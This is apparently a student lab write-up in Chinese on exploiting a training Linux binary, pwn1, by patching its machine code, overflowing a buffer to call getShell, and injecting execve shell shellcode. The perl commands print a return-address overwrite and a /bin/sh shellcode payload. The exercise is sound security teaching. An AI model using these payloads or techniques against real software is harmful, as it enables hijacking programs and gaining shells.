• 20165219 Exp1 PC平台逆向破解


    20165219 Exp1 PC平台逆向破解

    实践目标

    本次实践的对象是一个名为pwn1的linux可执行文件。

    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    三个实践内容如下:

    手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

    利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

    注入一个自己制作的shellcode并运行这段shellcode。

    基础知识

    linux常用命令大全

    一 直接修改程序机器指令,改变程序执行流程

    思路:pwn1_1中main()调用foo(),此实验旨在修改程序机器指令,使得main()调用getshell()

    反汇编: objdump -d

    main()中call指令指向foo()的内存地址0x08048491
    ,对应的机器指令为ffffffd7。现在想把call指令指向getshell()的内存地址0x0804847d,就要修改相应的机器指令。经过计算相应的机器指令为ffffffc3。

    输入:

    %!xxd
    

    ,将显示模式切换为16进制模式

    /d7
    

    查找要修改的内容 ,按i进入插入模式,修改d7之后,exc退出插入模式

    :%!xxd -r
    

    转换16进制为原格式

    :wq
    

    保存并退出

    运行修改后的代码,发现权限不够,上网搜了一下,如下图解决办法

    二 通过构造输入参数,造成BOF攻击,改变程序执行流

    首先反汇编了解程序功能

    # gdb
    

    输入为字符时已经发生段错误,产生溢出:

    使用gdb进行调试:

    注意到eip的值为ASCII的5,即在输入字符串的“5”的部分发生溢出。将5改成其它

    输入字符串1111111122222222333333334444444455555555,5555会覆盖到堆栈上的返回地址,CPU会这个代码。只要把这四个字符替换为 getShell 的内存地址,输给pwn20165219_2,pwn1运行getShell。

    perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input
    

    命令构造文件。然后使用指令

    (cat input ) | ./pwn20165219_2
    

    运行程序

    三 注入Shellcode并执行

    使用

    apt-get install execstack
    

    命令安装execstack

    修改以下设置

    我们选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90,最前面加上加上返回地址(先定义为x4x3x2x1)

    perl -e 'print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00"' > input_shellcode
    

    注入这段攻击buf,在另一个终端查看pwn1这个进程

    gdb调试

    通过设置断点,来查看注入buf的内存地址

    使用break设置断点,并输入c继续运行。在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用

    info r esp
    

    查找地址。

    使用x/16x 查看其存放内容,看到了01020304,就是返回地址的位置。

    将之前的x4x3x2x1改为这个地址

    最后执行攻击程序

  • 相关阅读:
    《测试工作量的时间评估》方案梳理
    GitHub 生成密钥
    Jenkins+Jmeter持续集成(五、Ant+GitLab持续构建)
    Linux下查看文件和文件夹大小
    Java Runtime.exec()的使用
    如何启动/停止/重启MySQL
    浅析Java语言慢的原因
    chattr命令锁定账户敏感文件
    SOAP协议初级指南 (三)
    SOAP协议初级指南 (二)
  • 原文地址:https://www.cnblogs.com/wyb-1998/p/10544586.html
Copyright © 2020-2023  润新知